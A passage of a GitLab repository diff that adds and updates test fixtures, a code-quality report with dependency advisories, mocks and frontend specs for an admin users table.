[mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c9f4b3f70b4ef899508948c84a381a89","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/users/activity_calendar.js","lines":{"begin":260,"end":266}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/pages/users/activity_calendar.js","lines":{"begin":234,"end":240}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c9f4b3f70b4ef899508948c84a381a89","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/protected_tags/protected_tag_edit.js","lines":{"begin":16,"end":20}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/protected_branches/protected_branch_edit.js","lines":{"begin":24,"end":28}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2d44f8e3653f3f06777c422f4151a7d3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/protected_branches/protected_branch_edit.js","lines":{"begin":24,"end":28}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/protected_tags/protected_tag_edit.js","lines":{"begin":16,"end":20}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9ff0344a1b63248724d8413b03573b43","severity":"minor","engine_name":"duplication"},{"categories":["Security"],"check_name":"Insecure Dependency","content":{"body":"**Advisory**: CVE-2018-1000211\n\n**URL**: https://blog.justinbull.ca/cve-2018-1000211-public-apps-cant-revoke-tokens-in-doorkeeper/\n\n**Solution**: upgrade to >= 4.4.0, >= 5.0.0.rc2"},"description":"Doorkeeper gem does not revoke token for public clients","location":{"path":"Gemfile.lock","lines":{"begin":173,"end":173}},"remediation_points":5000000,"severity":"minor","type":"Issue","fingerprint":"13e50c564110ecb5eba441004fe52261","engine_name":"bundler-audit"},{"categories":["Security"],"check_name":"Insecure Dependency","content":{"body":"**Advisory**: CVE-2018-3769\n\n**URL**: https://github.com/ruby-grape/grape/issues/1762\n\n**Solution**: upgrade to >= 1.1.0"},"description":"ruby-grape Gem has XSS via \"format\" parameter","location":{"path":"Gemfile.lock","lines":{"begin":346,"end":346}},"remediation_points":5000000,"severity":"minor","type":"Issue","fingerprint":"ac6d981abbf80f299374d5a1081c7d66","engine_name":"bundler-audit"}]
diff --git a/spec/fixtures/codequality/codequality.json.gz b/spec/fixtures/codequality/codequality.json.gz
deleted file mode 100644
index f04ec0065b4..00000000000
--- a/spec/fixtures/codequality/codequality.json.gz
+++ /dev/null
Binary files differ
diff --git a/locale/en/gitlab.po.time_stamp b/spec/fixtures/csv_empty.csv
index e69de29bb2d..e69de29bb2d 100644
--- a/locale/en/gitlab.po.time_stamp
+++ b/spec/fixtures/csv_empty.csv
diff --git a/spec/fixtures/csv_uppercase.CSV b/spec/fixtures/csv_uppercase.CSV
new file mode 100644
index 00000000000..bef22ed9ddf
--- /dev/null
+++ b/spec/fixtures/csv_uppercase.CSV
@@ -0,0 +1,4 @@
+TITLE,DESCRIPTION
+Issue in 中文,Test description
+"Hello","World"
+"Title with quote""",Description
diff --git a/spec/fixtures/dependency_proxy/manifest b/spec/fixtures/dependency_proxy/manifest
new file mode 100644
index 00000000000..a899d05d697
--- /dev/null
+++ b/spec/fixtures/dependency_proxy/manifest
@@ -0,0 +1,38 @@
+{
+ "schemaVersion": 1,
+ "name": "library/alpine",
+ "tag": "latest",
+ "architecture": "amd64",
+ "fsLayers": [
+ {
+ "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
+ },
+ {
+ "blobSum": "sha256:188c0c94c7c576fff0792aca7ec73d67a2f7f4cb3a6e53a84559337260b36964"
+ }
+ ],
+ "history": [
+ {
+ "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:3543079adc6fb5170279692361be8b24e89ef1809a374c1b4429e1d560d1459c\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container\":\"8c59eb170e19b8c3768b8d06c91053b0debf4a6fa6a452df394145fe9b885ea5\",\"container_config\":{\"Hostname\":\"8c59eb170e19\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) \",\"CMD [\\\"/bin/sh\\\"]\"],\"ArgsEscaped\":true,\"Image\":\"sha256:3543079adc6fb5170279692361be8b24e89ef1809a374c1b4429e1d560d1459c\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2020-10-22T02:19:24.499382102Z\",\"docker_version\":\"18.09.7\",\"id\":\"c5f1aab5bb88eaf1aa62bea08ea6654547d43fd4d15b1a476c77e705dd5385ba\",\"os\":\"linux\",\"parent\":\"dc0b50cc52bc340d7848a62cfe8a756f4420592f4984f7a680ef8f9d258176ed\",\"throwaway\":true}"
+ },
+ {
+ "v1Compatibility": "{\"id\":\"dc0b50cc52bc340d7848a62cfe8a756f4420592f4984f7a680ef8f9d258176ed\",\"created\":\"2020-10-22T02:19:24.33416307Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in / \"]}}"
+ }
+ ],
+ "signatures": [
+ {
+ "header": {
+ "jwk": {
+ "crv": "P-256",
+ "kid": "XOTE:DZ4C:YBPJ:3O3L:YI4B:NYXU:T4VR:USH6:CXXN:SELU:CSCC:FVPE",
+ "kty": "EC",
+ "x": "cR1zye_3354mdbD7Dn-mtXNXvtPtmLlUVDa5vH6Lp74",
+ "y": "rldUXSllLit6_2BW6AV8aqkwWJXHoYPG9OwkIBouwxQ"
+ },
+ "alg": "ES256"
+ },
+ "signature": "DYB2iB-XKIisqp5Q0OXFOBIOlBOuRV7pnZuKy0cxVB2Qj1VFRhWX4Tq336y0VMWbF6ma1he5A1E_Vk4jazrJ9g",
+ "protected": "eyJmb3JtYXRMZW5ndGgiOjIxMzcsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMC0xMS0yNFQyMjowMTo1MVoifQ"
+ }
+ ]
+} \ No newline at end of file
diff --git a/spec/fixtures/lib/gitlab/import_export/designs/project.json b/spec/fixtures/lib/gitlab/import_export/designs/project.json
index e11b10a1d4c..1d51a726c4c 100644
--- a/spec/fixtures/lib/gitlab/import_export/designs/project.json
+++ b/spec/fixtures/lib/gitlab/import_export/designs/project.json
@@ -61,7 +61,7 @@
"lock_version":0,
"time_estimate":0,
"relative_position":1073742323,
- "service_desk_reply_to":null,
+ "external_author":null,
"last_edited_at":null,
"last_edited_by_id":null,
"discussion_locked":null,
@@ -244,7 +244,7 @@
"lock_version":0,
"time_estimate":0,
"relative_position":1073742823,
- "service_desk_reply_to":null,
+ "external_author":null,
"last_edited_at":null,
"last_edited_by_id":null,
"discussion_locked":null,
diff --git a/spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/4351.json b/spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/4351.json
new file mode 100644
index 00000000000..ce657ded7b0
--- /dev/null
+++ b/spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/4351.json
@@ -0,0 +1 @@
+{"name":"ymg09t5704clnxnqfgaj2h098gz4r7gyx4wc3fzmlqj1en24zf","path":"ymg09t5704clnxnqfgaj2h098gz4r7gyx4wc3fzmlqj1en24zf","owner_id":123,"created_at":"2019-11-20 17:01:53 UTC","updated_at":"2019-11-20 17:05:44 UTC","description":"Group Description","avatar":{"url":null},"membership_lock":false,"share_with_group_lock":false,"visibility_level":0,"request_access_enabled":true,"ldap_sync_status":"ready","ldap_sync_error":null,"ldap_sync_last_update_at":null,"ldap_sync_last_successful_update_at":null,"ldap_sync_last_sync_at":null,"lfs_enabled":null,"parent_id":null,"shared_runners_minutes_limit":null,"repository_size_limit":null,"require_two_factor_authentication":false,"two_factor_grace_period":48,"plan_id":null,"project_creation_level":2,"trial_ends_on":null,"file_template_project_id":null,"saml_discovery_token":"rBKx3ioz","custom_project_templates_group_id":null,"auto_devops_enabled":null,"extra_shared_runners_minutes_limit":null,"last_ci_minutes_notification_at":null,"last_ci_minutes_usage_notification_level":null,"runners_token":"token","runners_token_encrypted":"encrypted","subgroup_creation_level":1,"emails_disabled":null,"max_pages_size":null,"max_artifacts_size":null,"id":4351} \ No newline at end of file
diff --git a/spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/4352.json b/spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/4352.json
new file mode 100644
index 00000000000..d57f23f0222
--- /dev/null
+++ b/spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/4352.json
@@ -0,0 +1 @@
+{"name":"a","path":"a","owner_id":null,"created_at":"2019-11-20 17:01:53 UTC","updated_at":"2019-11-20 17:05:44 UTC","description":"","avatar":{"url":null},"membership_lock":false,"share_with_group_lock":false,"visibility_level":0,"request_access_enabled":true,"ldap_sync_status":"ready","ldap_sync_error":null,"ldap_sync_last_update_at":null,"ldap_sync_last_successful_update_at":null,"ldap_sync_last_sync_at":null,"lfs_enabled":null,"parent_id":4351,"shared_runners_minutes_limit":null,"repository_size_limit":null,"require_two_factor_authentication":false,"two_factor_grace_period":48,"plan_id":null,"project_creation_level":2,"trial_ends_on":null,"file_template_project_id":null,"saml_discovery_token":"ki3Xnjw3","custom_project_templates_group_id":null,"auto_devops_enabled":null,"extra_shared_runners_minutes_limit":null,"last_ci_minutes_notification_at":null,"last_ci_minutes_usage_notification_level":null,"subgroup_creation_level":1,"emails_disabled":null,"max_pages_size":null,"max_artifacts_size":null,"id":4352}
diff --git a/spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/_all.ndjson b/spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/_all.ndjson
new file mode 100644
index 00000000000..078909d30fb
--- /dev/null
+++ b/spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/_all.ndjson
@@ -0,0 +1,2 @@
+4351
+4352
diff --git a/spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree/project.json b/spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree/project.json
new file mode 100644
index 00000000000..12136c6df3b
--- /dev/null
+++ b/spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree/project.json
@@ -0,0 +1 @@
+{"description":"Nisi et repellendus ut enim quo accusamus vel magnam.","import_type":"gitlab_project","creator_id":2147483547,"visibility_level":10,"archived":false,"hooks":[]}
diff --git a/spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree/project/labels.ndjson b/spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree/project/labels.ndjson
new file mode 100644
index 00000000000..34a2f48ac87
--- /dev/null
+++ b/spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree/project/labels.ndjson
@@ -0,0 +1 @@
+{"id":2,"title":"","color":"#428bca","project_id":8,"created_at":"2016-07-22T08:55:44.161Z","updated_at":"2016-07-22T08:55:44.161Z","template":false,"description":"","type":"","priorities":[]}
diff --git a/spec/fixtures/lib/gitlab/performance_bar/peek_data.json b/spec/fixtures/lib/gitlab/performance_bar/peek_data.json
new file mode 100644
index 00000000000..8e207b69ecb
--- /dev/null
+++ b/spec/fixtures/lib/gitlab/performance_bar/peek_data.json
@@ -0,0 +1,104 @@
+{
+ "context": {},
+ "data": {
+ "host": {
+ "hostname": "pc",
+ "canary": null
+ },
+ "active-record": {
+ "duration": "6ms",
+ "calls": "7 (0 cached)",
+ "details": [
+ {
+ "duration": 1.096,
+ "sql": "SELECT COUNT(*) FROM ((SELECT \"badges\".* FROM \"badges\" WHERE \"badges\".\"type\" = 'ProjectBadge' AND \"badges\".\"project_id\" = 8)\nUNION\n(SELECT \"badges\".* FROM \"badges\" WHERE \"badges\".\"type\" = 'GroupBadge' AND \"badges\".\"group_id\" IN (SELECT \"namespaces\".\"id\" FROM \"namespaces\" WHERE \"namespaces\".\"type\" = 'Group' AND \"namespaces\".\"id\" = 28))) badges",
+ "backtrace": [
+ "lib/gitlab/pagination/offset_pagination.rb:53:in `add_pagination_headers'",
+ "lib/gitlab/pagination/offset_pagination.rb:15:in `block in paginate'",
+ "lib/gitlab/pagination/offset_pagination.rb:14:in `tap'",
+ "lib/gitlab/pagination/offset_pagination.rb:14:in `paginate'",
+ "lib/api/helpers/pagination.rb:7:in `paginate'",
+ "lib/api/badges.rb:42:in `block (3 levels) in <class:Badges>'",
+ "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
+ "lib/api/api_guard.rb:208:in `call'",
+ "lib/gitlab/jira/middleware.rb:19:in `call'"
+ ],
+ "cached": "",
+ "warnings": []
+ },
+ {
+ "duration": 0.817,
+ "sql": "SELECT \"projects\".* FROM \"projects\" WHERE \"projects\".\"pending_delete\" = $1 AND \"projects\".\"id\" = $2 LIMIT $3",
+ "backtrace": [
+ "lib/api/helpers.rb:112:in `find_project'",
+ "ee/lib/ee/api/helpers.rb:88:in `find_project!'",
+ "lib/api/helpers/members_helpers.rb:14:in `public_send'",
+ "lib/api/helpers/members_helpers.rb:14:in `find_source'",
+ "lib/api/badges.rb:36:in `block (3 levels) in <class:Badges>'",
+ "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
+ "lib/api/api_guard.rb:208:in `call'",
+ "lib/gitlab/jira/middleware.rb:19:in `call'"
+ ],
+ "cached": "",
+ "warnings": []
+ },
+ {
+ "duration": 0.817,
+ "sql": "SELECT \"projects\".* FROM \"projects\" WHERE \"projects\".\"pending_delete\" = $1 AND \"projects\".\"id\" = $2 LIMIT $3",
+ "backtrace": [
+ "lib/api/helpers.rb:112:in `find_project'",
+ "ee/lib/ee/api/helpers.rb:88:in `find_project!'",
+ "lib/api/helpers/members_helpers.rb:14:in `public_send'",
+ "lib/api/helpers/members_helpers.rb:14:in `find_source'",
+ "lib/api/badges.rb:36:in `block (3 levels) in <class:Badges>'",
+ "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
+ "lib/api/api_guard.rb:208:in `call'",
+ "lib/gitlab/jira/middleware.rb:19:in `call'"
+ ],
+ "cached": "",
+ "warnings": []
+ }
+ ],
+ "warnings": []
+ },
+ "gitaly": {
+ "duration": "0ms",
+ "calls": 0,
+ "details": [],
+ "warnings": []
+ },
+ "redis": {
+ "duration": "0ms",
+ "calls": 1,
+ "details": [
+ {
+ "cmd": "get cache:gitlab:flipper/v1/feature/api_kaminari_count_with_limit",
+ "duration": 0.155,
+ "backtrace": [
+ "lib/gitlab/instrumentation/redis_interceptor.rb:30:in `call'",
+ "lib/feature.rb:81:in `enabled?'",
+ "lib/gitlab/pagination/offset_pagination.rb:30:in `paginate_with_limit_optimization'",
+ "lib/gitlab/pagination/offset_pagination.rb:14:in `paginate'",
+ "lib/api/helpers/pagination.rb:7:in `paginate'",
+ "lib/api/badges.rb:42:in `block (3 levels) in <class:Badges>'",
+ "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
+ "lib/api/api_guard.rb:208:in `call'",
+ "lib/gitlab/jira/middleware.rb:19:in `call'"
+ ],
+ "storage": "Cache",
+ "warnings": [],
+ "instance": "Cache"
+ }
+ ],
+ "warnings": []
+ },
+ "es": {
+ "duration": "0ms",
+ "calls": 0,
+ "details": [],
+ "warnings": []
+ }
+ },
+ "has_warnings": false
+}
+
diff --git a/spec/fixtures/valid.po b/spec/fixtures/valid.po
index c9b68d16153..e580af66939 100644
--- a/spec/fixtures/valid.po
+++ b/spec/fixtures/valid.po
@@ -8,6 +8,7 @@ msgstr ""
"Project-Id-Version: gitlab 1.0.0\n"
"Report-Msgid-Bugs-To: \n"
"PO-Revision-Date: 2017-07-13 12:10-0500\n"
+"PO-Creation-Date: 2016-07-13 12:11-0500\n"
"Language-Team: Spanish\n"
"Language: es\n"
"MIME-Version: 1.0\n"
diff --git a/spec/fixtures/whats_new/20201225_01_01.yml b/spec/fixtures/whats_new/20201225_01_01.yml
index 06db95be44f..7bf58900cc7 100644
--- a/spec/fixtures/whats_new/20201225_01_01.yml
+++ b/spec/fixtures/whats_new/20201225_01_01.yml
@@ -1,2 +1,7 @@
---
- title: It's gonna be a bright
+ body: |
+ ## It's gonna be a bright
+ self-managed: true
+ gitlab-com: false
+ packages: ["Premium", "Ultimate"]
diff --git a/spec/fixtures/whats_new/20201225_01_02.yml b/spec/fixtures/whats_new/20201225_01_02.yml
index 91b0bd7036e..90b5192897e 100644
--- a/spec/fixtures/whats_new/20201225_01_02.yml
+++ b/spec/fixtures/whats_new/20201225_01_02.yml
@@ -1,2 +1,7 @@
---
- title: bright
+ body: |
+ ## bright
+ self-managed: true
+ gitlab-com: false
+ packages: ["Premium", "Ultimate"]
diff --git a/spec/fixtures/whats_new/20201225_01_05.yml b/spec/fixtures/whats_new/20201225_01_05.yml
index 7c95e386f00..27c8f989b08 100644
--- a/spec/fixtures/whats_new/20201225_01_05.yml
+++ b/spec/fixtures/whats_new/20201225_01_05.yml
@@ -1,3 +1,14 @@
---
- title: bright and sunshinin' day
+ body: |
+ ## bright and sunshinin' day
+ self-managed: true
+ gitlab-com: false
+ packages: ["Premium", "Ultimate"]
release: '01.05'
+- title: I think I can make it now the pain is gone
+ body: |
+ ## I think I can make it now the pain is gone
+ self-managed: false
+ gitlab-com: true
+ packages: ["Premium", "Ultimate"]
diff --git a/spec/frontend/.eslintrc.yml b/spec/frontend/.eslintrc.yml
index 8e6faa90c58..d0e585e844a 100644
--- a/spec/frontend/.eslintrc.yml
+++ b/spec/frontend/.eslintrc.yml
@@ -25,3 +25,6 @@ rules:
- 'testAction'
jest/no-test-callback:
- off
+ "@gitlab/no-global-event-off":
+ - off
+
diff --git a/spec/frontend/__mocks__/@toast-ui/vue-editor/index.js b/spec/frontend/__mocks__/@toast-ui/vue-editor/index.js
index 9fee8e18d26..2acd8111c77 100644
--- a/spec/frontend/__mocks__/@toast-ui/vue-editor/index.js
+++ b/spec/frontend/__mocks__/@toast-ui/vue-editor/index.js
@@ -1,3 +1,12 @@
+export const mockEditorApi = {
+ eventManager: {
+ addEventType: jest.fn(),
+ listen: jest.fn(),
+ removeEventHandler: jest.fn(),
+ },
+ getMarkdown: jest.fn(),
+};
+
export const Editor = {
props: {
initialValue: {
@@ -18,14 +27,6 @@ export const Editor = {
},
},
created() {
- const mockEditorApi = {
- eventManager: {
- addEventType: jest.fn(),
- listen: jest.fn(),
- removeEventHandler: jest.fn(),
- },
- };
-
this.$emit('load', mockEditorApi);
},
render(h) {
diff --git a/spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap b/spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap
index 5fad0d07f97..8948a9926bb 100644
--- a/spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap
+++ b/spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap
@@ -18,7 +18,9 @@ exports[`AddContextCommitsModal renders modal with 2 tabs 1`] = `
theme="indigo"
value="0"
>
- <gl-tab-stub>
+ <gl-tab-stub
+ titlelinkclass=""
+ >
<div
class="mt-2"
@@ -37,7 +39,9 @@ exports[`AddContextCommitsModal renders modal with 2 tabs 1`] = `
</div>
</gl-tab-stub>
- <gl-tab-stub>
+ <gl-tab-stub
+ titlelinkclass=""
+ >
<review-tab-container-stub
commits=""
diff --git a/spec/frontend/admin/users/components/app_spec.js b/spec/frontend/admin/users/components/app_spec.js
new file mode 100644
index 00000000000..65b13e3a40d
--- /dev/null
+++ b/spec/frontend/admin/users/components/app_spec.js
@@ -0,0 +1,37 @@
+import { shallowMount } from '@vue/test-utils';
+
+import AdminUsersApp from '~/admin/users/components/app.vue';
+import AdminUsersTable from '~/admin/users/components/users_table.vue';
+import { users, paths } from '../mock_data';
+
+describe('AdminUsersApp component', () => {
+ let wrapper;
+
+ const initComponent = (props = {}) => {
+ wrapper = shallowMount(AdminUsersApp, {
+ propsData: {
+ users,
+ paths,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when initialized', () => {
+ beforeEach(() => {
+ initComponent();
+ });
+
+ it('renders the admin users table with props', () => {
+ expect(wrapper.find(AdminUsersTable).props()).toEqual({
+ users,
+ paths,
+ });
+ });
+ });
+});
diff --git a/spec/frontend/admin/users/components/users_table_spec.js b/spec/frontend/admin/users/components/users_table_spec.js
new file mode 100644
index 00000000000..ba36e1e32ef
--- /dev/null
+++ b/spec/frontend/admin/users/components/users_table_spec.js
@@ -0,0 +1,61 @@
+import { GlTable } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+
+import AdminUsersTable from '~/admin/users/components/users_table.vue';
+import { users, paths } from '../mock_data';
+
+describe('AdminUsersTable component', () => {
+ let wrapper;
+
+ const getCellByLabel = (trIdx, label) => {
+ return wrapper
+ .find(GlTable)
+ .find('tbody')
+ .findAll('tr')
+ .at(trIdx)
+ .find(`[data-label="${label}"][role="cell"]`);
+ };
+
+ const initComponent = (props = {}) => {
+ wrapper = mount(AdminUsersTable, {
+ propsData: {
+ users,
+ paths,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when there are users', () => {
+ const user = users[0];
+
+ beforeEach(() => {
+ initComponent();
+ });
+
+ it.each`
+ key | label
+ ${'name'} | ${'Name'}
+ ${'projectsCount'} | ${'Projects'}
+ ${'createdAt'} | ${'Created on'}
+ ${'lastActivityOn'} | ${'Last activity'}
+ `('renders users.$key for $label', ({ key, label }) => {
+ expect(getCellByLabel(0, label).text()).toBe(`${user[key]}`);
+ });
+ });
+
+ describe('when users is an empty array', () => {
+ beforeEach(() => {
+ initComponent({ users: [] });
+ });
+
+ it('renders a "No users found" message', () => {
+ expect(wrapper.text()).toContain('No users found');
+ });
+ });
+});
diff --git a/spec/frontend/admin/users/index_spec.js b/spec/frontend/admin/users/index_spec.js
new file mode 100644
index 00000000000..171d54c8f4f
--- /dev/null
+++ b/spec/frontend/admin/users/index_spec.js
@@ -0,0 +1,35 @@
